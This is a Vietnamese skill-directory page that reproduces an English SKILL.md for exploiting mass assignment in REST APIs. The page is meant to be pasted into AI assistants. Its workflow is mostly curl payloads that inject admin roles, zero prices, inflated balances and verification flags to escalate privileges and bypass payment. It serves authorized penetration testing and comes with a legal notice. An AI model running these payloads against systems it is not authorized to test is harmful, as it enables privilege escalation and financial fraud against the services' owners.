Chuyển đến nội dung
Skillpedia
Bảo mật35k · #7914

exploiting-mass-assignment-in-rest-apis

Skill này làm gì

Công cụ này giúp tìm và khai thác một lỗ hổng bảo mật trong API (các “website” mà ứng dụng dùng để giao tiếp với nhau). Nó chèn thông tin không mong đợi, như “là quản trị viên”, vào yêu cầu gửi đến API để xem có thể giành thêm quyền hay không.

Khi nào nên dùng

  • ✓Khi kiểm thử bảo mật các API chấp nhận dữ liệu JSON.
  • ✓Khi kiểm tra xem người dùng thường có thể trở thành quản trị viên không.
  • ✓Khi tìm lỗi trong các hệ thống tạo hoặc cập nhật thông tin.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Thử chèn 'role: admin' hoặc 'isAdmin: true' vào dữ liệu gửi đến API khi tôi cập nhật hồ sơ của mình.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ gửi yêu cầu đến API kèm các trường thừa không nên có. Nếu API chấp nhận các trường này và thay đổi hành vi (như cấp quyền quản trị), lỗ hổng đã được tìm thấy.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Exploiting Mass Assignment in REST APIs

When to Use

  • When testing REST APIs that accept JSON input for creating or updating resources
  • During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
  • When testing user registration, profile update, or account management endpoints
  • During bug bounty hunting on applications with CRUD API operations
  • When evaluating role-based access control implementation in API-driven applications

Prerequisites

  • Burp Suite or Postman for API request crafting and interception
  • Understanding of ORM auto-binding behavior in common frameworks
  • API documentation or endpoint discovery through reconnaissance
  • Multiple user accounts with different privilege levels for testing
  • Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
  • Arjun or param-miner for hidden parameter discovery

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

Step 3 — Test Financial and Business Logic Fields

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

Step 4 — Test Verification and Status Fields

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

Step 5 — Test Relationship and Foreign Key Manipulation


…
Câu hỏi thường gặp

“Mass Assignment” là gì?

Đó là khi API tự động chấp nhận nhiều trường dữ liệu từ một yêu cầu và áp dụng trực tiếp vào một đối tượng, mà không kiểm tra từng trường. Điều này có thể cho phép người dùng xấu đặt các trường mà họ không được phép, như mức quyền của mình.

Những công cụ nào được dùng?

Các công cụ như Burp Suite, Postman, Arjun và param-miner được dùng để chặn, phân tích và gửi các yêu cầu đã chỉnh sửa đến API.

Tôi có cần biết lập trình để dùng không?

Nên có hiểu biết cơ bản về cách API hoạt động và ORM là gì, nhưng công cụ tự động hóa nhiều bước phức tạp.

Chi tiết

Mô tả gốc của tác giả

Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#7914
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự